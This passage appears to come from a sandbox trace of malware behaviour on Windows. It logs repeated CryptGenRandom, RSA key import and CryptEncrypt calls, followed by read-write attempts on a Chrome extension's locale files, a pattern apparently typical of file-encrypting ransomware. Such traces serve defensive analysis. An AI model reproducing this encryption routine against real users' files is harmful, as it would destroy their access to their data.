dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.303] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.309] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.309] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.309] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.309] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.314] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.314] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.314] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.317] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67848c8) returned 1 [0244.317] CryptGetKeyParam (in: hKey=0x67848c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.317] CryptEncrypt (in: hKey=0x67848c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc160000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc160000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.317] GetLastError () returned 0x0 [0244.317] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.317] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.319] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784d08) returned 1 [0244.319] CryptGetKeyParam (in: hKey=0x6784d08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.319] CryptEncrypt (in: hKey=0x6784d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc170000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc170000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.319] GetLastError () returned 0x0 [0244.319] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.319] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.320] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.325] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.325] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.325] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.328] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.330] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.330] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.330] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.331] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.333] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785008) returned 1 [0244.333] CryptGetKeyParam (in: hKey=0x6785008, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.333] CryptEncrypt (in: hKey=0x6785008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc180000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc180000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.333] GetLastError () returned 0x0 [0244.333] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.333] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.335] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784908) returned 1 [0244.335] CryptGetKeyParam (in: hKey=0x6784908, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.335] CryptEncrypt (in: hKey=0x6784908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc190000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc190000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.335] GetLastError () returned 0x0 [0244.335] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.335] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.336] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.341] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.341] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.346] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.346] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.346] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784b88) returned 1 [0244.349] CryptGetKeyParam (in: hKey=0x6784b88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.349] CryptEncrypt (in: hKey=0x6784b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc1a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.349] GetLastError () returned 0x0 [0244.349] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.349] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.351] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785048) returned 1 [0244.351] CryptGetKeyParam (in: hKey=0x6785048, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.351] CryptEncrypt (in: hKey=0x6785048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc1b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.351] GetLastError () returned 0x0 [0244.351] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.351] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.352] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.357] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.357] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.357] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.362] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.362] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.363] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.365] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784948) returned 1 [0244.365] CryptGetKeyParam (in: hKey=0x6784948, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.365] CryptEncrypt (in: hKey=0x6784948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc1c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.365] GetLastError () returned 0x0 [0244.365] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.365] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.367] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784d48) returned 1 [0244.367] CryptGetKeyParam (in: hKey=0x6784d48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.367] CryptEncrypt (in: hKey=0x6784d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc1d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.367] GetLastError () returned 0x0 [0244.367] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.367] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.369] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.374] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.374] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.379] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.379] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.379] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.380] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.382] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67849c8) returned 1 [0244.382] CryptGetKeyParam (in: hKey=0x67849c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.382] CryptEncrypt (in: hKey=0x67849c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc1e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.382] GetLastError () returned 0x0 [0244.382] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.382] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.384] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784d88) returned 1 [0244.384] CryptGetKeyParam (in: hKey=0x6784d88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.384] CryptEncrypt (in: hKey=0x6784d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc1f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc1f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.384] GetLastError () returned 0x0 [0244.384] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.385] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.390] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.390] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.396] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.396] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.398] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784bc8) returned 1 [0244.398] CryptGetKeyParam (in: hKey=0x6784bc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.398] CryptEncrypt (in: hKey=0x6784bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc200000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc200000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.398] GetLastError () returned 0x0 [0244.398] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.398] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.400] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784c08) returned 1 [0244.400] CryptGetKeyParam (in: hKey=0x6784c08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.400] CryptEncrypt (in: hKey=0x6784c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc210000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc210000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.400] GetLastError () returned 0x0 [0244.400] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.400] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.401] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.406] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.406] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.406] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.411] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.411] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.413] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784ac8) returned 1 [0244.413] CryptGetKeyParam (in: hKey=0x6784ac8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.413] CryptEncrypt (in: hKey=0x6784ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc220000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc220000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.414] GetLastError () returned 0x0 [0244.414] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.414] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.415] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784c48) returned 1 [0244.415] CryptGetKeyParam (in: hKey=0x6784c48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.415] CryptEncrypt (in: hKey=0x6784c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc230000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc230000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.416] GetLastError () returned 0x0 [0244.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.416] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.417] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.422] CryptGenRandom (in: 